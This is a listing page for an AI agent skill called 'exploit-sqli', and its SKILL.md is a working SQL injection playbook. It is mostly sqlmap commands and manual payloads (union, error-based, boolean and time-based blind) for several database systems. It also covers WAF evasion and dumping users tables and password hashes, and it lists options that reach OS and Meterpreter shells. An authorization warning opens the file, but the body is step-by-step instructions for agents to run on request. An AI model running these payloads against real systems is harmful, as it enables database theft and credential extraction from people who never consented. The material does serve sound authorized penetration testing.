crazymarky/pentest-skills/exploit-sqli

Name: exploit-sqli
Author: crazymarky

Claude Code and agent skill by crazymarky/pentest-skills

Trust tier 2

community

LLM review pending

Source check pending

Checking that the SKILL.md file is still in the repository.

SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.

Install

npx vskill@latest install crazymarky/pentest-skills/exploit-sqli

SKILL.md

SQL Injection Detection & Exploitation

Authorization Warning

DANGER: SQL injection testing can damage or destroy data in production databases. Always ensure you have:

Written permission from the target application owner
Isolated testing environment
Backups of affected systems
Legal compliance with local regulations

Never test SQL injection on production databases without authorization.

Prerequisites

Required tools that must be installed on your system:

sqlmap - pip install sqlmap or git clone https://github.com/sqlmapproject/sqlmap

Optional tools:

BBQSQL - Semi-automated SQL injection tool
NoSQLMap - NoSQL injection testing

Quick Start

Most commonly used commands for SQL injection testing:

Automated SQLMap Scan

bash

sqlmap -u "https://target.com/page?id=1"

POST Request Testing

bash

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

Cookie Testing

bash

sqlmap -u "https://target.com" --cookie="sessionid=abc123"

Common Scenarios

Scenario 1: Basic Parameter Testing

When you need to test a URL parameter for SQL injection:

bash

sqlmap -u "https://target.com/page?id=1"

Parameters:

-u - Target URL
-p - Specific parameter to test (default: all)
--batch - Avoid interactive prompts
--random-agent - Use random User-Agent

Example:

bash

sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent

Scenario 2: POST Request Injection

When you need to test POST body parameters:

bash

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

From file:

bash

sqlmap -u "https://target.com/login" -d post_data.txt

Scenario 3: Cookie/Header Injection

When you need to test cookies or headers:

bash

# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
 
# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"
 
# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"

Multiple headers:

bash

sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"

Scenario 4: Specific DBMS Testing

When you know or suspect the database type:

bash

sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle

Scenario 5: Database Enumeration

When you need to extract database information:

bash

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
 
# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables
 
# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump
 
# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all

Scenario 6: User Enumeration

When you need to extract user credentials:

bash

# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users
 
# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords
 
# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump

Scenario 7: Union-Based SQL Injection

Manual testing for Union-based SQLi:

bash

# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--

Determine column count:

sql

id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--

Check for string vs integer:

sql

id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--

Scenario 8: Error-Based SQL Injection

When error messages are displayed:

bash

# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--
 
# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--

Scenario 9: Blind SQL Injection

When no error messages are returned:

Boolean-based:

sql

id=1' AND 1=1--
id=1' AND 1=2--

Time-based (MySQL):

sql

id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--

Time-based (PostgreSQL):

sql

id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-

Scenario 10: WAF Evasion

When WAF blocks injection attempts:

bash

# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments
 
# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent
 
# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1
 
# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U

Injection Testing Workflow

1. Initial Detection

bash

# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch
 
# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"

2. Confirmation

bash

# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"

3. Fingerprint Database

bash

sqlmap -u "https://target.com/page?id=1" --current-user

4. Enumeration

bash

# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba
 
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

SQLMap Options Reference

Option	Description
`-u`	Target URL
`-r`	Parse log file
`-l`	Load from file
`-m`	Scan multiple targets
`-p`	Test specific parameters
`--skip`	Skip parameters
`--dbms`	Force DBMS
`--os`	Force OS
`--tamper`	Tamper script
`--level`	Test level (1-5)
`--risk`	Risk level (1-3)
`--technique`	Specific technique (B/E/U/S/T)
`--batch`	Non-interactive
`--random-agent`	Random User-Agent
`--proxy`	Use proxy
`--delay`	Delay between requests
`--timeout`	Request timeout
`--retries`	Retry attempts
`--string`	Match string
`--not-string`	Not match string
`--regexp`	Regexp filter
`--grep`	Regexp filter for pages
`--crawl`	Crawl site
`--forms`	Parse forms
`--cookie`	Cookie value
`--headers`	Extra headers
`--user-agent`	Custom User-Agent
`--method`	Force method
`--data`	POST data
`-d`	POST data from file
`--dbs`	Enumerate databases
`--tables`	Enumerate tables
`--columns`	Enumerate columns
`--schema`	Enumerate schema
`--dump`	Dump data
`--dump-all`	Dump all
`--search`	Search
`--users`	Enumerate DB users
`--passwords`	Enumerate password hashes
`--priv-esc`	Privilege escalation
`--os-shell`	OS shell
`--os-pwn`	Meterpreter/OBM shell
`--sql-shell`	SQL shell
`--wizard`	Wizard mode
`-v`	Verbosity (0-6)

Manual Payloads

MySQL Payloads

sql

-- Version detection
' UNION SELECT @@version--
 
-- Current user
' UNION SELECT user()--
 
-- Current database
' UNION SELECT database()--
 
-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--
 
-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
 
-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
 
-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--

PostgreSQL Payloads

sql

-- Version
' UNION SELECT version()--
 
-- Current user
' UNION SELECT user--
 
-- Current database
' UNION SELECT current_database()--
 
-- All databases
' UNION SELECT datname FROM pg_database--
 
-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
 
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

SQL Server Payloads

sql

-- Version
' UNION SELECT @@version--
 
-- Database
' UNION SELECT DB_NAME()--
 
-- Tables
' UNION SELECT table_name FROM information_schema.tables--
 
-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
 
-- Databases
' UNION SELECT name FROM master..sysdatabases--

Oracle Payloads

sql

-- Version
' UNION SELECT banner FROM v$version--
 
-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--
 
-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

Testing Checklist

[ ] URL parameters
[ ] POST parameters
[ ] Cookies
[ ] User-Agent
[ ] Referer
[ ] X-Forwarded-For
[ ] Accept headers
[ ] JSON body fields
[ ] GraphQL queries
[ ] API endpoints

Scenario: Persistent Storage of SQL Injection Findings

When you need to persist SQL injection findings to the database:

bash

# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"

Parameters:

--host-ip - Target host IP (required)
--url - Vulnerable URL (required)
--parameter - Vulnerable parameter name (required)
--payload - Payload used (required)
--severity - Severity level (default: High)
--cvss-score - CVSS score (0.0-10.0)
--db-type - Database type (e.g., MySQL, PostgreSQL)
--subsystem - Subsystem name (optional)
--title - Vulnerability title (auto-generated if not specified)
--description - Vulnerability description

Database location: ./data/results.db

Related skills: results-storage - Query data, generate reports

Resources

Scripts

scripts/sqli_payload_generator.py - Generate SQL injection payloads
scripts/boolean_sqli_tester.py - Test blind SQL injection
scripts/response_analyzer.py - Analyze responses for injection clues

References

references/sqlmap_guide.md - Comprehensive SQLMap reference
references/manual_sqli_techniques.md - Manual injection techniques
references/nosql_injection.md - NoSQL injection guide

Assets

assets/common_error_payloads.txt - Common error-based payloads
assets/time-based_payloads.txt - Time-based blind payloads
assets/dbms_fingerprints.txt - Database fingerprinting patterns

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingexploit-sqli/SKILL.md

Popularity

Repository stars: 216
Repository forks: 26
7-day trend score: 27

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/crazymarky/pentest-skills/exploit-sqli/badge)](https://verified-skill.com/skills/crazymarky/pentest-skills/exploit-sqli)

Something wrong with this skill or its page? Tell us.